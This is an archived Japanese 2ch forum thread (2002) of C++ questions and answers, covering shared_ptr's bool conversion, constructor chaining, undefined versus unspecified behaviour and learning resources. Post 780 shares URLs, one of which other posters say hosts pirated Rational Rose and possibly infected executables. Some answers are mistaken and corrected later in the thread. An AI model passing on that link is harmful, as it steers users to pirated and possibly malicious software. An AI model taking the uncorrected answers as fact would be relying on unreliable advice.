■過去ログ置き場に戻る■ 1- 前250 次250 最新50


[memo] "9999999999_00.html#R20" という感じで、URLの最後に "#RレスNo" を追加すると幸せになれます。

C++相談室 part7
751 名前:747 :02/06/14 11:35
ビット演算をしているように思われるんですが、
具体的な処理は分からないです・・・。

752 名前:デフォルトの名無しさん :02/06/14 11:39
>>751
最初の3行のコメントに何もかも書いてある気がするが・・・

753 名前:デフォルトの名無しさん :02/06/14 12:01
boost::shared_ptrで、データを所有しているかどうかを問い合わせる
ときってどうしてますか?

if (ptr.get() != NULL){
  // 所持してる場合の作業
}

今まではこうやってましたけど、さっき実験してみたら、

if (ptr){
  // 所持してる場合の作業
}

でOKみたいなことが分かりました。
ソースを見た感じだとoperator bool_type() が働いてるからみたいですが、
これ、いったいどういう動作をしてるんでしょうか?
メンバ関数ポインタを返して???? わけが分かりません。

754 名前:デフォルトの名無しさん :02/06/14 12:08
>>753
ここか?
operator bool_type() const // never throws
{
return px == 0? 0: &this_type::use_count;
}

pxが0なら0、でなければ参照カウンタの値を返してるだけだと思うが。


755 名前:747 :02/06/14 12:41
>>752
もっと具体的に、何をしているのかが知りたいんですよ。
*dest=l&0x7f;とか
*dest=((l>>(j*8))&0xff);とか

756 名前:デフォルトの名無しさん :02/06/14 12:46
>>755
それのどこを説明しろと・・・

757 名前:747 :02/06/14 12:58
あ、すみません。↓が分からないです。

for (i=1; i<needed; ++i)
if (!(l>>(i*8)))
break;

758 名前:デフォルトの名無しさん :02/06/14 13:01
>>757
それくらい頭ん中で展開してくれ

759 名前:デフォルトの名無しさん :02/06/14 13:05
>>757
はじめ i は 1、i が needed より小さい間 i を増加しつつループ
l を 右に i*8 シフトしたものが 0 ならばループを抜ける。

何か問題でも?

760 名前:747 :02/06/14 13:46
>>759さん、ありがとうございます。理解できました。
お騒がせ致しまして、どうもすみませんでした。

761 名前:デフォルトの名無しさん :02/06/14 14:26
>>754
えーっと、メンバ関数ポインタが帰ってきたら、if文が勝手にメンバ関数を
呼び出して、その戻り値をboolとして判断するために利用するんですか?
そんな呼び出し規約なんて、C++にありましたっけ?

762 名前:デフォルトの名無しさん :02/06/14 14:29
>>761
つーかそのメンバ関数ポインタってどっから来たの?

763 名前:デフォルトの名無しさん :02/06/14 14:29
ファイルストリームをEOFまで読んで
また初めからファイルの先頭から読み込みたい場合はどうすればいいんでしょうか

764 名前:デフォルトの名無しさん :02/06/14 14:36
seekg(0)

765 名前:デフォルトの名無しさん :02/06/14 14:36
>>763
ifs.clear(); ifs.seekg(0, std::ios::beg);

766 名前:763 :02/06/14 14:43
ありがとう、好きです。

767 名前:761(=753) :02/06/14 19:11
>>762
どっからって……もちろん、shared_ptrの定義から出てきたんですけど。

typedef shared_ptr<T> this_type;

long use_count() const // never throws
{
  return pn.use_count();
}

typedef long (this_type::*bool_type)() const;

operator bool_type() const // never throws
{
  return px == 0? 0: &this_type::use_count;
}

……メンバ関数ポインタですよね?
こっから、どうやって『参照カウンタの値を返している』んですか?

768 名前:デフォルトの名無しさん :02/06/14 19:47
時々errorみたいな予約語使ってしまう...気をつけねば

769 名前:デフォルトの名無しさん :02/06/14 23:11
<iostream>の仕様が知りたいんですが、何かよい資料はありませんか。。

770 名前:デフォルトの名無しさん :02/06/14 23:13
演算子のオーバーロードとかって使う??

771 名前:デフォルトの名無しさん :02/06/14 23:14
代入演算子のオーバーロードは無いと困る・・

772 名前:デフォルトの名無しさん :02/06/14 23:16
かなり使う。

773 名前:デフォルトの名無しさん :02/06/14 23:17
禿げ使う

774 名前:デフォルトの名無しさん :02/06/14 23:33
>>767
漏れのbostにはそんなコード無かった(バージョン違いかしら?)けど、
そのコードはメンバ関数のアドレスを返してるだけで、
参照カウンタの値なんか返してないでしょ。

775 名前:デフォルトの名無しさん :02/06/14 23:42
俺のbostにも無いな。

776 名前:774 :02/06/14 23:47
>>775
ヽ(`Д´)ノウワーン
oが一つ多く見えて消しちゃったんだよ(疲れ目?

777 名前:デフォルトの名無しさん :02/06/14 23:52
>>767
2ちゃんのレスなんざ信用するな。自分で確認しる。
何が返されるかなんてちょっとテストコード書けばすぐわかるでしょ。

778 名前:769 :02/06/14 23:53
フィードバックが無い!?・・・

779 名前:デフォルトの名無しさん :02/06/14 23:59
>>769
んじゃこれ見れ > ISO+IEC+14882-1998.pdf

780 名前:769 :02/06/15 00:26
これのことですか?

http://www.fh-worms.de/~progbau/Vorlesungen/SW-Entwicklung/C++/Standard/
http://www.rgai.hu/~beszedes/munka/

781 名前:デフォルトの名無しさん :02/06/15 00:37
よくやった!!>>769

782 名前:デフォルトの名無しさん :02/06/15 00:44
>>774
boost 1.28にはあるよ。

>>761
無い。単純に operator bool() を用意すると shared_ptr<T> → int みたいな
妙な暗黙の変換も成功してしまうので、それを避けるために適当にメンバ関数ポインタを
返してるだけだと思ふ。

783 名前:デフォルトの名無しさん :02/06/15 01:23
>>780
2番目やばすぎるよ。
なんでRoseEEが置いてあるんだよ!

784 名前:デフォルトの名無しさん :02/06/15 01:47
>>783
viral executable


785 名前:デフォルトの名無しさん :02/06/15 01:51
sage

786 名前:769 :02/06/15 01:51
Rational Rose 2000 Enterprise Edition
フローティング ¥1,050,000
ノードロック ¥590,000


(゚д゚)ポカーン
((゚д゚))
((((゚д゚;))))ガクガクブルブル

どうしよう・・・これってだれかダウソしたらURL晒した俺に責任あるのかな
だってISO+IEC+14882-1998.pdfをググったら勝手に出てきたんだよぉ( ´Д⊂ヽ
ラショナルソフトウェアさん、俺は無実です。

787 名前:デフォルトの名無しさん :02/06/15 01:57
たいーほ

788 名前:デフォルトの名無しさん :02/06/15 02:00
>>784
漏れは会社で使えるからわざわざおとさん

789 名前:デフォルトの名無しさん :02/06/15 02:28
今、PCQA板でも強制ID制導入を検討しましょう vol2
http://pc.2ch.net/test/read.cgi/pcqa/1023993089/
で板TOPを改善しようプロジェクトが発動してます。
暫定案ですがこんな感じです。
http://isweb25.infoseek.co.jp/computer/pcqa-2ch/cgi-bin/img/284.jpg

皆さんの意見要望およせください。
よろしくお願いします。


790 名前:デフォルトの名無しさん :02/06/15 02:42
  ?  ?
? (゚д゚) ? このスレというか、この板と何の関係が

791 名前:デフォルトの名無しさん :02/06/15 02:52
何やら向こうは喧嘩中・・・

792 名前:デフォルトの名無しさん :02/06/15 03:03
>>789
jpgでhtmlが開くの怖いんですが

793 名前:761 :02/06/15 08:17
あいや、ごめんなさい。バージョンのことを言ってませんでしたね。
1.28での質問なのでした。

>>782
ありがトン。そういうレスが欲しかったの。
で、また疑問なんですですが。
if文にshared_ptrオブジェクトを持ってきたら、このoperator bool_typeに
暗黙の変換が行われて、さらにboolに暗黙の変換が行われるわけですよね。
ってことは、2段階の暗黙の変換が行われるわけですよね……。1段階だけじゃ
なくて2段階も許すって事は、n段階も許すってことになりませんか?
コンパイラは、型変換演算子もしくはimplicitなコンストラクタがある限り、
ずーっと探し回らなくちゃならないっぽいんですけど、このへんは
どうなってるんですか?
『2段階まで』って厳密に決まってんですかね?

794 名前:デフォルトの名無しさん :02/06/15 09:01
>>761
operator bool で返した場合は、shared_ptr → int が暗黙の変換でいけるから危険。
operator ???* で返した場合は、if の中に直接置けて( 0 と比較できて)
???* → int は暗黙の変換はできないから、shared_ptr → int にはできなくなる。
って話しかなぁ。

795 名前:782 :02/06/15 09:33
>>793
> if文にshared_ptrオブジェクトを持ってきたら、このoperator bool_typeに
> 暗黙の変換が行われて、さらにboolに暗黙の変換が行われるわけですよね。
No. 「if( X ) expr」 は、
 X==0 でないなら expr を実行して、 X==0 なら expr を実行しない、つーだけだ。
んで、Xがshared_ptr<>だったらコンパイラは、==0できるような型への
変換を探して、よっしゃ operator bool_type() があったぞっつーことで
bool_typeに変えてから ==0 で比較して終わり、だ。boolの出る幕はどこにも無いなり。

796 名前:761 :02/06/15 09:47
>>795
な・る・ほ・どー!
わかりやすい解説、ありがとうございましたっ!

797 名前:デフォルトの名無しさん :02/06/15 10:13
あ。

798 名前:デフォルトの名無しさん :02/06/15 10:17
>>797
おまえ朝から何やってんだ?
引きこもり君ですか?

799 名前:デフォルトの名無しさん :02/06/15 16:45
ディスク内の指定のセクタの情報を読みに行くにはどうすればいいのでしょうか?
どなたか教えてください。

800 名前:デフォルトの名無しさん :02/06/15 17:12
     ∧ ∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    ( ゜Д゜) < ムーンウォークで 800ゲットォォォオオオ!!
     ./ つ つ  \_______________
  〜(_⌒ヽ      (´⌒(´
     .)ノ `J≡≡≡(´⌒;;;≡≡≡
         (´⌒(´⌒;;
    ズザーーーーーッ

801 名前:デフォルトの名無しさん :02/06/15 17:14
コンパイル時にはエラーも警告も無いのに実行すると↓こうなります。。。誰かたすけて〜
'C:\WINDOWS\SYSTEM\KERNEL32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\ADVAPI32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\GDI32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\USER32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\IMM32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\IMEJP98K.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\COMCTL32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\IMEJP98.IME' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\USBHOOK.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。

802 名前:デフォルトの名無しさん :02/06/15 17:14
>>801
正常。

803 名前:デフォルトの名無しさん :02/06/15 17:18
>>801
助けるも何も・・・

804 名前:デフォルトの名無しさん :02/06/15 17:22
>>802
みんなそうだよ。

805 名前:デフォルトの名無しさん :02/06/15 17:25
そうでしたか・・・
あふぉな質問に答えてくれてありがとうございます。。。

806 名前:デフォルトの名無しさん :02/06/15 22:50
コンストラクタって普通の関数見たく呼んでもいいのでしょうか。
やってみて大丈夫そうだったんですが、実は問題アリってことは無いでしょうか。

807 名前:デフォルトの名無しさん :02/06/15 22:53
>>806
初期化処理を初期化時以外に呼び出す必要があるのかと小一時間。

808 名前:デフォルトの名無しさん :02/06/15 22:54
いいと思うけど、ソースを見たい。

809 名前:デフォルトの名無しさん :02/06/15 23:04
コンストラクタがいくつかある時、
とりあえず一旦全部のメンバを初期化するコンストラクタを呼ぼうかなと思いまして。
今は初期化関数をそれぞれのコンストラクタから呼んでるんですが、省けるなら省いとこうかなと。

810 名前:デフォルトの名無しさん :02/06/15 23:05
>>809
引数ありのコンストラクタのオーバーロードから引数無しの初期化だけを行うコンストラクタを呼び出すのって乗藤樹団じゃないの


811 名前:デフォルトの名無しさん :02/06/15 23:06
>>806
デストラクタはともかく、そもそもコンストラクタって呼べたっけ? あれは
名前無しで、外から呼び出すのは無理だと思ったけど。

812 名前:デフォルトの名無しさん :02/06/15 23:08
>>810 (常套手段て書いてるんですよね)
そうなんですか。
知らなかったです。どうもでした。

813 名前:デフォルトの名無しさん :02/06/15 23:17
>>810
へ? そんなことできたっけ? どうやって呼び出すのん?

814 名前:デフォルトの名無しさん :02/06/15 23:18
俺も知りたい、できたらすげー便利

815 名前:デフォルトの名無しさん :02/06/15 23:21
Javaならできそうだね。

816 名前:デフォルトの名無しさん :02/06/15 23:27
class A
{
public:
 A();
 A(int i) {
  new(this) A();
 }
};

どうよ?

817 名前:デフォルトの名無しさん :02/06/15 23:29
placementですか?

818 名前:デフォルトの名無しさん :02/06/15 23:37
>>816
hack くさいコードだな…

それ、継承してたりすると、親クラスのコンストラクタが複数回呼ばれて
場合によっては悲劇になったりしない?

(このケースなら素直に A(int i = 0) とかデフォルト値を与えれば終わり
だが、それじゃ済まんケースもあるんだよな)

819 名前:デフォルトの名無しさん :02/06/15 23:48
おとなしく普通の初期化関数を呼ぼうよ。

820 名前:デフォルトの名無しさん :02/06/15 23:51
>>816 を見て、いったんは「ホゥ」と膝を打ったが…
>>818 あんた、スルドイ。

821 名前:デフォルトの名無しさん :02/06/16 00:01
>>816
それ、終了処理はどうすんの? placement newしたんなら、自前でデストラクタを
呼ばなきゃならないんじゃないの? どこで呼ぶの?

822 名前:デフォルトの名無しさん :02/06/16 00:06
806です。

A() {/*処理*/}
A(int i) {A(); /*処理*/}

と、こんな感じのコードだったんですが、
継承してると確かに親のコンストラクタを2回呼びますね。気づきませんでした。
今まで通り、初期化関数呼んでおきます。聞いておいて良かったです。どうもでした。

823 名前:816 :02/06/16 00:13
>>817-820
いや、ネタだったんですが。
816のようにするなら普通に非virtualのイニシャライザを呼びます。

>>822
それってAの一時オブジェクトを作ってすぐ破棄してるだけだから
コンストラクタ呼び出しにはならない。

824 名前:816 :02/06/16 00:15
>>821
デストラクタは普通に書けばいい。
勿論、コンストラクタの呼ばれ方を考慮したデストラクタをね。
メモリの再割り当ては起こらないんだから。

825 名前:デフォルトの名無しさん :02/06/16 00:16


826 名前:デフォルトの名無しさん :02/06/16 00:22
>>823
なるほど、トレースしてA()が呼ばれてたので、
あ、いける。と思ってしまいました。
呼ばれてたのは一時オブジェクトのコンストラクタだったんですね。

827 名前:デフォルトの名無しさん :02/06/16 23:23
std::list< std::string > stringlist;
この内容を標準出力に出力するにはどうかきますか?

std::copy(stringlist.begin(), stringlist.end(), std::ostream_iterator< std::string >(std::cout);
これだと外部シンボルがないとか怒られます。

828 名前:デフォルトの名無しさん :02/06/16 23:39
>>827
最後に ) を補いさえすれば、bcc5.51とgcc2.96ではそのコードで通ったが。

あるいは
using namespace boost::lambda;
std::for_each( stringlist.begin(), stringlist.end(), std::cout<<_1 );

829 名前:デフォルトの名無しさん :02/06/16 23:42
>>827
#include <iterator> を忘れているとか。

830 名前:デフォルトの名無しさん :02/06/16 23:46
>>827
ostream_iterator<string,char>が省けないとか

831 名前:デフォルトの名無しさん :02/06/16 23:47
cout << fff() << ggg() << endl;
だとggg()が先に呼ばれますが(vc6)
これは仕様ですか?

832 名前:デフォルトの名無しさん :02/06/16 23:48
式の中に複数の関数呼び出しが存在した場合、
そのcall順は規定されてないはず。

833 名前:デフォルトの名無しさん :02/06/16 23:49
了解しました。

834 名前:デフォルトの名無しさん :02/06/16 23:50
外部シンボルだから、コンパイルは通るけどリンクが通らないって事でしょ。


835 名前:デフォルトの名無しさん :02/06/17 02:28
int i = 0;
bool b = i++ < i;

bにどちらが入るのか規定してないですよね?

836 名前:デフォルトの名無しさん :02/06/17 08:10
>>835
bは常にfalseだろ…

837 名前:デフォルトの名無しさん :02/06/17 16:51
>>836
bcc,vc++6  -> 0(false)
g++2.95(cygwin) -> 1(true)

今やってみたらこの結果だったのですが・・・。

838 名前:デフォルトの名無しさん :02/06/17 17:09
>>836
未定義だろう。i++ については

 値は i そのもの。結果が得られた後で i はインクリメントされる。

と規定されているだけで「結果を得るタイミング」に関しては、何も言ってない。
最初に二項演算子の前の i++ が評価されるか、それとも後の i が評価される
かで話が変わってくる。

839 名前:836 :02/06/17 17:11
      ヽ ̄ ゙̄\       
       \  ヽ \
         ヽ    ゙!  / ̄ ̄ ̄ ̄ ̄ ̄ ̄
          /      |< >>837 コンパイラや規格がおかしい
       /     ,.イ  \_______
      ∠___/ :|`ヽ.、
          ノ     '!   \-、
     _,.=''1      ヽ,   `'
      ヽ'" i|       |
         !       |


840 名前:デフォルトの名無しさん :02/06/17 17:29
規格がおかしいってアンタ…
確かにC/C++の規格はおかしいが。

841 名前:デフォルトの名無しさん :02/06/17 17:50
>>839
そのキャラは、頼むから UNIX 板に隔離しておいてくれ(w

842 名前:デフォルトの名無しさん :02/06/17 18:00
出川必死だな

843 名前:デフォルトの名無しさん :02/06/17 18:35
設計的にはインスタンスを直接持つほうが自然でも、
そのクラスがばかでかかったら、
ポインタにして new & delete したほうがいいんでしょうか?

スタック領域よりヒープ領域のほうがサイズでかいですよね?
というか、スタック領域のメモリの確保に失敗したらどうなるんだろ・・・。

844 名前:デフォルトの名無しさん :02/06/17 19:00
意味不明。
ばかでかいとは?
クラスの占有メモリorクラス定義

ヒープの方がでかいって?
スタックの1バイトよりヒープの1バイトの方がでかいとか?

スタックの確保に失敗したらcore吐いたりaccess violationで落とされたりOSごと死んだりいろいろ

845 名前:デフォルトの名無しさん :02/06/17 19:15
>>844
> ヒープの方がでかいって?
そのままの意味だと思うが……。

846 名前:デフォルトの名無しさん :02/06/17 19:17
>>843
気にしなくて良いだろ。だいたいクラス定義がどうなってようが、インスタンスを
自動変数で取るか new/delete するかはユーザ次第なんだから。

class Big {
  int ary[50 * 1024 * 1024];
};

int main() {
  Big b; // たぶん死ぬ
  std::auto_ptr<Big> pb(new Big); // たぶん OK
}

847 名前:デフォルトの名無しさん :02/06/17 20:04
>>846
ユーザがどう使おうがヒープに取りたいって話なんでわ?

848 名前:843 :02/06/17 20:06
>>846 さんの例で言うなら、

class Big
{
private:
  int *p;

public:
  Big() : p( NULL ) { p = new int[50*1024*1024]; }
  ~Big(){ delete [] p; }
};

こうしようかと迷っていたところです。

スタックの確保に失敗した場合は、プログラムを安全に終了できないということは、
std::bad_alloc の保険がある new に切り替えたほうが無難みたいですね。

実際は、ひとつのクラスでスタックを大量に消費するんじゃなくて、
いろんなクラスで少しずつ食いつぶしていきそうだったので、
ちょっと不安になって質問させてもらいました。
レスありがとうございました。

849 名前:デフォルトの名無しさん :02/06/17 21:15
Big() : p( NULL ) { p = new int[50*1024*1024]; }



Big() : p(new int[50*1024*1024]) {}
のほうがいいよ。

850 名前:デフォルトの名無しさん :02/06/17 21:25
>>849
よくない。
非constな値だから初期化リストに含めないと逝けない理由もないし、
初期化リスト中での例外を捕まえられない処理系がある
VCとかVCとかVCとか。

851 名前:デフォルトの名無しさん :02/06/17 21:31
初期化リストの中の例外を捕まえる・・・たしか、こんなんだっけ?
Big()
try :p(new int[50*1024*1024])
{
}
catch(...)
{
}
対応してる処理系ってあるっけ?gcc対応してた?

852 名前:デフォルトの名無しさん :02/06/17 21:35
正解は
class Big
{
  std::vector<int> vector;
public:
  Big() : vector(50*1024*1024) {}
};
かと。

853 名前:デフォルトの名無しさん :02/06/17 21:41
>>852
それも例外がでる。


854 名前:デフォルトの名無しさん :02/06/17 21:45
>>853
例外が出たら正解じゃないの?

855 名前:デフォルトの名無しさん :02/06/17 22:03
operator<<(operator<<(cout,fff()),ggg());

関数の引数の評価順序は不定の動作

未定義の動作:正しくないプログラム
不定の動作:正しいが再現性はない
処理系依存:正しく再現性もあるが、処理系により異なる

856 名前:デフォルトの名無しさん :02/06/17 22:45
>>855
「正しい / 正しくない」の評価基準が分からんな。文法的に正しい/正しくない
という話なら

 i++ + i++

だって正しいし。ANSI C++ の規格書では、「不定の動作」に対応する語は何で
すか?

(値が不定という使い方はよく見るけど、不定の動作ってのは初めて見た気が)

857 名前:デフォルトの名無しさん :02/06/17 22:46
>>851
こんな構文あったんだ……。知らんかったよ。
でも、どうゆう状況で使うの?

858 名前:デフォルトの名無しさん :02/06/17 22:56
>>857
catch 節の後ろに何も無いから、例外の型が変換できるくらいかなぁ。

859 名前:デフォルトの名無しさん :02/06/17 22:57
catchで適切に処理しても、オブジェクトは生成されないんだよな。
retry構文が欲しい

860 名前:デフォルトの名無しさん :02/06/18 05:54
cout << "age!";

861 名前:デフォルトの名無しさん :02/06/18 06:04
ヽ(`Д´)ノ

862 名前:デフォルトの名無しさん :02/06/18 06:05
( ´,_ゝ`)

863 名前:デフォルトの名無しさん :02/06/18 10:09
>856

ANSI C/C++ 辞典より

未定義の動作 : undefined behavior
不定の動作 : unspecified behavior
処理系定義の動作 : implementation-defined behavior

未定義の動作は正常なプログラムでは起きない

i++ + i++; はたぶん不定の動作なので正常なプログラム
整数演算のオーバーフローは未定義の動作なので
正常でないプログラム


864 名前:デフォルトの名無しさん :02/06/18 12:59
正常の定義は?

865 名前:デフォルトの名無しさん :02/06/18 13:58
式の中で一つの変数に対して2回以上副作用が起こるのは
未定義じゃなかったっけ。

866 名前:デフォルトの名無しさん :02/06/18 14:05
式じゃなくて副作用完了点までだったかな。

867 名前:デフォルトの名無しさん :02/06/18 18:25
wclog << "age ヽ(`Д´)ノ";

868 名前:デフォルトの名無しさん :02/06/18 18:28
wclog << L"age";
じゃないのか?

869 名前:867 :02/06/18 18:47
>>868は上級プログラマ。
いじょ。

870 名前:デフォルトの名無しさん :02/06/18 20:10
>>863
そいつは不定じゃなくて未定義
何故かは知らん

871 名前:デフォルトの名無しさん :02/06/18 20:47
>>870
ANSI/ISOでは、本来は不定の動作のものをいくつか未定義と
したのでは?それだけ厳しくなったという事ですね。

872 名前:838 :02/06/18 23:37
>>863
C99 の規格書には、次のように用語定義がなされている。

3.4.1
1 implementation-defined behavior
unspecified behavior where each implementation documents how the choice is made

3.4.3
1. undefined behavior
behavior, upon use of a nonportable or erroneous program construct or of erroneous data,
for which this International Standard imposes no requirements

3.4.4
1. unspecified behavior
behavior where this International Standard provides two or more possibilities and
imposes no further requirements on which is chosen in any instance

>>855 の「正しい」というのは、規格書で規定があるっつー意味かね。規定がないこと
に関しては何とも言えんから、結果も分からん、いきなりプログラムが異常終了する
かもしれないし鼻から悪魔が出てくるかも、ということで。

不定の動作は、規定はあるが複数の可能性を残してあるので、やっぱり結果は一意
に決まらないという意味か。ただし、いきなりプログラムが死んだりはしない。

コンパイラ屋さんにとっては「未定義」「不定の動作」の区別をする意味はあるけど、
ユーザからはどちらも絶対に避けるべきモノということで、厳密に区別して考えなく
とも良い気がする。処理系依存は割り切って使うなら OK だから、これは区別しな
いとマズい。

873 名前:デフォルトの名無しさん :02/06/19 16:44
C/C++の条件分岐プリプロセッサの文法は
#if constant-expression new-line group
とあったのだけれども定数式ということは
つまり、そういうことだよね?

874 名前:デフォルトの名無しさん :02/06/19 16:45
age忘れ

875 名前:デフォルトの名無しさん :02/06/19 17:35
#define VALUE 15
#if VALUE > 10
cout<<"Anything"<<endl;
#endif

昔、#ifの条件部は通常の演算子が置けないとか
書いてあったけど文法的にこれはOKでしょ?
コンパイラ通ったし

876 名前:デフォルトの名無しさん :02/06/19 17:42
すんません、レベル低い質問です。
ハードよりの領域でアセンブラとC言語を十数年やってきた
オヤジがC++を勉強するということ(つまり自分)を考えた
場合、お勧めの本あるでしょうか?

877 名前:デフォルトの名無しさん :02/06/19 17:46
>>876
とりあえずバイブルかな…
あとEffectiveC++

それを読んだら、オブジェクト指向関連の本に進めばいいかな。

878 名前:デフォルトの名無しさん :02/06/19 17:50
圧縮やバイナリ>テキストのエンコードを行うクラスのインターフェイスって
みんなどんな感じにしてますか?

1.Encode/Decodeメソッドを持つクラスを作り、状態をラップする。
 1-1.結果は逐次利用者が指定したバッファに書き込む
1-2.結果は、内部でバッファを構築し、フラッシュ時に受け取る
3 iostreamクラスのproxyにする
4 algorithmにして、イテレータベースでいじくり回す
5 その他

1-1の形式を取るライブラリが多いけど、なんかダサイ
1-2 使用方法が簡潔になるけど、巨大ファイルのエンコードをするときにメモリを莫大に消費する
3 実装が面倒、オブジェクトが大きくなる
4 基本的にCと代わり映えがしない。そもそも、void*やunsigned char*以外を受け取る意味がない。
5 全く想像がつかない

と言うことで、どれを採用したらいいのか迷ってます。
アドバイスお願いします。

879 名前:デフォルトの名無しさん :02/06/19 19:13
入力バイト数から出力バイト数が特定できないだとか
データがブロックとして入力/出力されるとか、ブロックサイズが不定だとか
いろいろな条件をうまく処理するのは面倒だねえ。

文字コード変換(例:iconv)や、audio/videoのコーデック(例:ACM)、
圧縮/変換ライブラリ(zlib,lha,etc)など、
参考になるものが沢山あるので一つずつ当たってみては。

880 名前:デフォルトの名無しさん :02/06/19 19:37
>>876
Cをマスターされてるんなら、Accelerated C++がお勧め。
C++の超便利ライブラリ『STL』を、ほぼCの文法だけで
使ってあるのが特徴。クラスやオブジェクト志向は後回しにして、
まずC++の便利さから入ってるから、Cマスターな方がC++に
入っていくのにぴったりだと思う。
>>877の『バイブル』ってのは、プログラミング言語C++ 第3版の
ことね。
Effective C++ は、C++をちょっとわかりかけてきたころに読む本。
ム板でC++について何か会話をしたかったら、その前に絶対に
読んどけよってぐらいの必読書。

881 名前:880 :02/06/19 19:38
s/オブジェクト志向/オブジェクト指向/

882 名前:デフォルトの名無しさん :02/06/19 19:39
>>880
VC++を見て詐欺にあったような形相で抗議して来るに++

883 名前:名無しさん :02/06/19 20:00
VC++でSTLとか使うと出てくるデバッガの255文字制限
#pragma warning(disable : 4786)で消せるけど
デバッグできなくて鬱
helpの例みたいに#defineでいろいろ短く定義したけど
コンパイルとーらねー
なんかいい方法ない?


884 名前:デフォルトの名無しさん :02/06/19 20:13
ほんとにSTLの中までデバッグする必要があるのか?
普通はSTLは無条件に信頼して進む物だと思うが。
どうしてもおかしい場合のみ中に進む、と。

885 名前:デフォルトの名無しさん :02/06/19 20:19
>>884
たとえ STL の実装にバグが無くとも

 コンテナに無効なポインタが入っていて、それを algorithm 経由で参照して
 プログラムが異常終了した

とかだと、STL の実装まで下りていってチェックしたくなると思うよ。

886 名前:名無しさん :02/06/19 21:26
いや、stlの仲まで追わなくても
vcハングしちゃうでしょ、ステップ実行してると
xpだと頻繁にハングるんでもー鬱で鬱で

887 名前:デフォルトの名無しさん :02/06/19 21:28
STLのせいでフリーズするわけじゃないと思うが。


888 名前:デフォルトの名無しさん :02/06/19 21:54
>>876
柴田望洋 著「新装版 CプログラマのためのC++入門」タイトルどおりの本です。
この本は実際にC->C++移行を果たすきっかけになりました。読みやすく、分かり
やすい本だと思います。リファレンス本等はこれを読んでからで良いと思いますよ。

CからC++への移行は、構文とかよりも、「手続き型プログラミング」から
「オブジェクト指向」への発想の転換が重要だし、難しいところと思いました。
がんばって移行してください。

889 名前:デフォルトの名無しさん :02/06/19 22:03
>CからC++への移行は、構文とかよりも、「手続き型プログラミング」から
>「オブジェクト指向」への発想の転換が重要
禿同。

890 名前:デフォルトの名無しさん :02/06/19 22:03
オブジェクト指向も手続き型がほとんどなんですがぁ〜?


891 名前:デフォルトの名無しさん :02/06/19 22:06
>>889
そんな君らにはJavaの謎+落とし穴

をお勧めする。

892 名前:デフォルトの名無しさん :02/06/19 22:09
C --> C++移行の際に重要なポイントは何でしょうか。

893 名前:デフォルトの名無しさん :02/06/19 22:12
関数を使うには必ず宣言が必要

894 名前:デフォルトの名無しさん :02/06/19 22:29
>>892
888にも書いてあるように、発想の転換が重要と思われます。
C++では、クラスという新しい概念が出てきます。これにいかに慣れるかが
まずは重要と思います。ほかにも新しい概念が出てきますが、この辺は
実際に作って慣れる(クラスを設計し、実装してみる)、という繰り返しに
なるかと思います。

個人的に苦労したのは、Cを使用していたときの癖を絶つことです。C++はCの
拡張版という側面もあり、C的な使い方も可能なので、慣れ親しんだ方法で
プログラムを書きがちでした。具体的には、クラスのメンバ関数として実装
すべきものをグローバルな(Cで言う普通の)関数で書いたりとかです。
クラスのメンバ関数って、今は何のことか分からないかもしれませんが、勉強
するとすぐに出てくると思います。

895 名前:デフォルトの名無しさん :02/06/19 22:52
>>885
STLportに_STL_DEBUGだかなんだかそんな感じのマクロをつけて使ってみるといいよ。
すでにやっててそれでも仲間で追いたいというならとめはしないが。


896 名前:デフォルトの名無しさん :02/06/19 22:59
質問です。
たとえば自作のクラスcstringでコンストラクタで
cstring(int n)とやってnバイトのバッファを確保させるとします。
これを
cstring *pstr = new cstring(10);
の様に使えますか?つまりこの場合コンストラクタの返り値の型が合うかどうか何ですが。

897 名前:デフォルトの名無しさん :02/06/19 23:03
>>896
普通じゃん

898 名前:デフォルトの名無しさん :02/06/19 23:29
いやちょっと気になったもんですから・・
コンストラクタって何を返すんだろう‥‥

899 名前:デフォルトの名無しさん :02/06/19 23:32
>>898
コンストラクタでなくて、newの返り値ね。

900 名前:デフォルトの名無しさん :02/06/19 23:33
>>896
コンストラクタに返り値はないですから。new はメモリに cstring を
確保したあとコンストラクタを実行して、最後に cstring へのポインタを
返します。

901 名前:896 :02/06/19 23:41
ありがとうございます。素人なもんで混乱してました。

902 名前:デフォルトの名無しさん :02/06/20 01:00
>>886
VC6 のデバッガ on Windows XP は、まともに動かんでしょ。Windows 2000
なら良いんだが、ねぇ。

>>895
それだと無効な iterator はチェックできるけど、無効なポインタはチェックで
きんよ。

903 名前:デフォルトの名無しさん :02/06/20 02:00
>>902
> VC6 のデバッガ on Windows XP は、まともに動かんでしょ。

MAJIDE?

904 名前:デフォルトの名無しさん :02/06/20 02:03
常識。
.NET買わせるため。

905 名前:デフォルトの名無しさん :02/06/20 02:21
ウチではちゃんと動いてますが・・・

906 名前:デフォルトの名無しさん :02/06/20 02:32
(´-`).。oO(WinXPなんて買いません。常識です)

907 名前:デフォルトの名無しさん :02/06/20 03:01
自作のcpositionクラスの大小比較の関数ってこのクラスのメンバにすべきですか?
たとえば
bool cposition :: islittle(cposition *pos1, cposition *pos2)
{
 return (pos1->n < pos2->n);
}
とやって
cposition a,b;
if(a.islittle(&a, &b))…
ってやったらかなり変ですか?
それとも
if(cposition::islittle(&a, &b))…
でしょうか?

908 名前:デフォルトの名無しさん :02/06/20 03:03
operator<()

909 名前:デフォルトの名無しさん :02/06/20 03:08
早速レスありがとうございます。
この場合って<、>、<=、>=、==と別々に実装するんですか?
多分そうだとは思いますが。。。

910 名前:デフォルトの名無しさん :02/06/20 03:18
>>909
もちろん別々。
但し、"<" ==" !>="、">" == "!<=", "==" == "!<" && "!>"として
簡略化可能。

911 名前:デフォルトの名無しさん :02/06/20 03:26
ありがとうございます。早速やってみます。

